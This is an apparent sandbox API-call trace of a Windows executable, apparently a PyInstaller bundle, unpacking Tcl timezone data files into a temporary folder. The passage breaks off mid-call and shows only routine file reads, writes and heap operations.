[0038.217] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Libreville", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Libreville", lpFilePart=0x0) returned 0x49 [0038.217] GetLastError () returned 0x2 [0038.217] SetLastError (dwErrCode=0x2) [0038.217] GetLastError () returned 0x2 [0038.217] SetLastError (dwErrCode=0x2) [0038.217] GetLastError () returned 0x2 [0038.217] SetLastError (dwErrCode=0x2) [0038.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Libreville") returned 74 [0038.217] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Libreville" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\libreville"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.218] GetFileType (hFile=0x10c) returned 0x1 [0038.218] htonl (hostlong=0x93000000) returned 0x93 [0038.218] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.218] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x93, lpOverlapped=0x0) returned 1 [0038.225] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.225] CloseHandle (hObject=0x10c) returned 1 [0038.225] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.226] htonl (hostlong=0x30000000) returned 0x30 [0038.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.226] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.226] GetFileType (hFile=0x10c) returned 0x1 [0038.226] htonl (hostlong=0xcd565800) returned 0x5856cd [0038.226] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d06cd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.226] htonl (hostlong=0x83000000) returned 0x83 [0038.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0038.226] htonl (hostlong=0x83000000) returned 0x83 [0038.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.226] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.226] htonl (hostlong=0x89000000) returned 0x89 [0038.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x550600 [0038.226] htonl (hostlong=0x83000000) returned 0x83 [0038.226] htonl (hostlong=0x89000000) returned 0x89 [0038.226] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.226] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.226] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.226] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.226] CloseHandle (hObject=0x10c) returned 1 [0038.226] GetLastError () returned 0x0 [0038.226] SetLastError (dwErrCode=0x0) [0038.226] GetLastError () returned 0x0 [0038.226] SetLastError (dwErrCode=0x0) [0038.226] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.227] GetFileType (hFile=0x10c) returned 0x1 [0038.227] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.227] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.227] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.227] CloseHandle (hObject=0x10c) returned 1 [0038.227] GetLastError () returned 0x0 [0038.227] SetLastError (dwErrCode=0x0) [0038.227] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.227] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.227] GetFileType (hFile=0x10c) returned 0x1 [0038.227] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.227] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.227] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.227] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.228] CloseHandle (hObject=0x10c) returned 1 [0038.228] GetLastError () returned 0x0 [0038.228] SetLastError (dwErrCode=0x0) [0038.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.228] GetFileType (hFile=0x10c) returned 0x1 [0038.228] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.228] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.228] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.228] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.228] CloseHandle (hObject=0x10c) returned 1 [0038.228] GetLastError () returned 0x0 [0038.228] SetLastError (dwErrCode=0x0) [0038.228] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lome") returned 68 [0038.228] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lome"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.229] GetLastError () returned 0x2 [0038.229] SetLastError (dwErrCode=0x2) [0038.229] GetLastError () returned 0x2 [0038.229] SetLastError (dwErrCode=0x2) [0038.229] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lome", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lome", lpFilePart=0x0) returned 0x43 [0038.229] GetLastError () returned 0x2 [0038.229] SetLastError (dwErrCode=0x2) [0038.229] GetLastError () returned 0x2 [0038.229] SetLastError (dwErrCode=0x2) [0038.229] GetLastError () returned 0x2 [0038.229] SetLastError (dwErrCode=0x2) [0038.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lome") returned 68 [0038.229] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Lome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\lome"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.229] GetFileType (hFile=0x10c) returned 0x1 [0038.229] htonl (hostlong=0x89000000) returned 0x89 [0038.229] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.229] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x89, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x89, lpOverlapped=0x0) returned 1 [0038.230] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.230] CloseHandle (hObject=0x10c) returned 1 [0038.231] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.231] htonl (hostlong=0x30000000) returned 0x30 [0038.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.231] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.231] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.231] GetFileType (hFile=0x10c) returned 0x1 [0038.231] htonl (hostlong=0x50575800) returned 0x585750 [0038.231] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d0750, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.231] htonl (hostlong=0x98000000) returned 0x98 [0038.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x98) returned 0x55cfe0 [0038.231] htonl (hostlong=0x98000000) returned 0x98 [0038.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.231] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.231] htonl (hostlong=0xac000000) returned 0xac [0038.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xac) returned 0x550600 [0038.231] htonl (hostlong=0x98000000) returned 0x98 [0038.231] htonl (hostlong=0xac000000) returned 0xac [0038.231] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.231] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.232] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.232] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.232] CloseHandle (hObject=0x10c) returned 1 [0038.232] GetLastError () returned 0x0 [0038.232] SetLastError (dwErrCode=0x0) [0038.232] GetLastError () returned 0x0 [0038.232] SetLastError (dwErrCode=0x0) [0038.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.232] GetFileType (hFile=0x10c) returned 0x1 [0038.232] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.232] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.232] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.232] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.232] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.232] CloseHandle (hObject=0x10c) returned 1 [0038.232] GetLastError () returned 0x0 [0038.232] SetLastError (dwErrCode=0x0) [0038.232] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.232] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.233] GetFileType (hFile=0x10c) returned 0x1 [0038.233] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.233] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.233] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.233] CloseHandle (hObject=0x10c) returned 1 [0038.233] GetLastError () returned 0x0 [0038.233] SetLastError (dwErrCode=0x0) [0038.233] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.233] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.233] GetFileType (hFile=0x10c) returned 0x1 [0038.233] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.233] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.233] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.233] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.234] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.234] CloseHandle (hObject=0x10c) returned 1 [0038.234] GetLastError () returned 0x0 [0038.234] SetLastError (dwErrCode=0x0) [0038.234] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Luanda") returned 70 [0038.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Luanda" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\luanda"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.234] GetLastError () returned 0x2 [0038.234] SetLastError (dwErrCode=0x2) [0038.234] GetLastError () returned 0x2 [0038.234] SetLastError (dwErrCode=0x2) [0038.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Luanda", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Luanda", lpFilePart=0x0) returned 0x45 [0038.234] GetLastError () returned 0x2 [0038.234] SetLastError (dwErrCode=0x2) [0038.234] GetLastError () returned 0x2 [0038.234] SetLastError (dwErrCode=0x2) [0038.234] GetLastError () returned 0x2 [0038.234] SetLastError (dwErrCode=0x2) [0038.234] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Luanda") returned 70 [0038.234] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.234] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Luanda" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\luanda"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 